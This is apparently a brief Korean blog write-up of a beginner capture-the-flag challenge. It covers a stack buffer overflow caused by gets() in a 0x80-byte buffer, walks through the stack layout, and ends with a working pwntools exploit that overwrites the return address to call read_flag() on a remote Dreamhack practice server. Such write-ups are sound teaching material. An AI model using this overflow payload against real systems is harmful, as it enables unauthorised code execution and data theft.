less than 1 minute read

Stack Buffer Overflow를 이용하는 가장 기본적인 문제다.

환경 확인

i386, LE

code 확인

  void read_flag(){
      system("cat /flag");
  }
  int main(int argc, char *argv[]){
      char buf[0x80];
      initialize();
      gets(buf); // gcc에서도 경고하는 gets
      return 0;
  }

코드에서 알수 있듯이 버퍼의 크기는 0x80, gets() 함수는 입력의 크기를 확인하지 않고 받는다. 따라서 Stack Buffer Overflow를 이용해서 exploit할수 있다. 심지어 친절하게 read_flag() 함수를 만들어 두어서 shellcode를 사용하지 않아도 된다.

payload 작성

stack before
현재 상태는 main함수가 호출된 직후로 main의 caller __libc_start_main 함수가 stack에 다음 명령어가 있는 return 주소를 push했다. main함수가 종료되면 $rip에 pop할 것이기 때문에 이 값을 변경하면 된다. stack after
buf에 ‘A’를 0x88개만큼 넣었고 \$rbp-0x10 부터 메모리를 보면 이전에는 A가 SFP(former \$rbp)까지 덮고 return주소 0x7fffff5d7000이 남아있는 것을 볼 수 있다.
따라서 0x84 크기의 dummy와 read_flag() 의 주소 0x080485B9를 p32() 를 통해 LE로 넣는다.

dummy의 크기가 0x88이 아닌 0x84인 이유는 디버깅은 64bit arch 기준으로 했지만 실제는 32bit arch 기준이기 때문에 $rbp, $rip가 모두 $rbp, $eip라는 점을 고려해야 한다.

script 작성

  from pwn import *

  p=remote('host1.dreamhack.games',22850)
  payload=b'A'\*0x84+p32(0x080485B9)
  p.sendline(payload)
  p.interactive()

Script exec

Tags:

Categories:

Updated: